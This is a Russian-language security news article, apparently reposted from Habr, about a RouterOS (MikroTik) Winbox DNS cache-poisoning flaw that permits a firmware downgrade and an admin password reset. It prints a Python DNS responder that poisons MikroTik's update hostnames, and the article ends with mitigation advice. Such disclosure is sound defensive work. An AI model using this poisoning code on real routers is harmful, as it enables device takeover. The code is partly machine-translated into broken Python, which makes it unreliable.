Backport уязвимость в RouterOS ставит под угрозу сотни тысяч устройств

81juuehwhagf9f4qyixa0e_lvx4.png

Возможность удаленного даунгрейда устройств на базе RouterOS (Mikrotik) ставит под угрозу сотни тысяч сетевых устройств. Уязвимость связана с отравлением DNS-кеша Winbox протокола и позволяет загрузить устаревшую (со сбросом пароля «по-умолчанию») или модифицированную прошивку на устройство.
6yaboulsoswpqpl8sixarc9jf1o.jpeg

Детали уязвимости


Терминал RouterOS поддерживает команду разрешения для поиска DNS.

image

Этот запрос обрабатывается двоичным файлом с именем resolver. Resolver является одним из многих двоичных файлов, которые подключены к протоколу Winbox от RouterOS. На высоком уровне «сообщения», отправляемые на порт Winbox, могут маршрутизироваться в различные двоичные файлы в RouterOS на основе схемы нумерации на основе массива.

По умолчанию в RouterOS отключена функция DNS-сервера.

image

Однако даже при отключенной функции сервера маршрутизатор поддерживает собственный кэш DNS.

image

Когда мы делаем запрос, используя winbox_dns_request, например, например, com.com, маршрутизатор будет кэшировать результат.

image

Поскольку мы можем указать DNS-сервер, через который должен пройти запрос, вводить неверные адреса тривиально. Например, можно настроить реализацию DNS-сервера от Филиппа Клауса, чтобы всегда отвечать записью A, содержащей IP-адрес 192.168.88.250.

def dns_response (данные): 
    запрос = DNSRecord.parse (данные) 
    ответ = DNSRecord (DNSHeader ( 
        id = request.header.id, qr = 1, aa = 1, ra = 1), q = request.q) 
    qname = запрос .q.qname 
    qn = str (qname) 
    reply.add_answer (RR (qn, ttl = 30, rdata = A ("192.168.88.250")))
     print ("---- Ответить: \ n", ответ) 
    return reply.pack ()


Теперь если с помощью Winbox поискать example.com то можно увидеть что DNS-кеш маршрутизатора отравлен.

image

Конечно, отравление example.com не очень полезно, так как маршрутизатор фактически не будет его использовать. Тем не менее, маршрутизатор нуждается в обращении к upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com и download.mikrotik.com. И благодаря еще одной ошибке есть возможность отравить их всех сразу.

def dns_response (данные): 
    запрос = DNSRecord.parse (данные) 
    ответ = DNSRecord (DNSHeader ( 
        id = request.header.id, qr = 1, aa = 1, ra = 1), q = request.q) 
    qname = запрос .q.qname 
    qn = str (qname) 
    reply.add_answer (RR (qn, ttl = 30, rdata = A ("192.168.88.250"))) 
    reply.add_answer (RR ("upgrade.mikrotik.com", ttl = 604800, 
        rdata = A ("192.168.88.250"))) 
    reply.add_answer (RR ("cloud.mikrotik.com", ttl = 604800, 
        rdata = A ("192.168.88.250"))) 
    reply.add_answer (RR ( "cloud2.mikrotik.com", ttl = 604800, 
        rdata = A ("192.168.88.250"))) 
    reply.add_answer (RR ("download.mikrotik.com", ttl = 604800,
        RDATA = А ( "192.168.88.250")))
    print ("---- Ответить: \ n", reply) 
    return reply.pack ()


Маршрутизатор запрашивает одно разрешение, а мы предоставляем пять обратно. Маршрутизатор неправильно кэширует все эти ответы.

image

Очевидно, что эта атака также полезна, если маршрутизатор действует как DNS-сервер, поскольку он позволяет атаковать клиентов маршрутизатора.

Также, эта атака позволяет проэксплуатировать более серьезную уязвимость: произвести даунгрейд или бэкпортирование версии RouterOS. Атакующий воссоздает логику сервера обновлений, включая changelog и заставляет RouterOS воспринять устаревшую (уязвимую) версию как актуальную. Опасность здесь кроется в том, что при «обновлении» версии пароль администратора сбрасывается в значение «по-умолчанию» — злоумышленник может войти в систему с пустым паролем!


Атака вполне рабочая, несмотря на то что автор реализовывает еще несколько векторов, связанных в том числе и с встраиванием бэкдора в прошивку, но это уже избыточная техника и применение ее в нелигитимных целях противозаконно.

Защита


Простое отключение Winbox позволяет защититься от этих атак. Несмотря на удобство администрирования через Winbox лучше воспользоваться протоколом SSH.

© Habrahabr.ru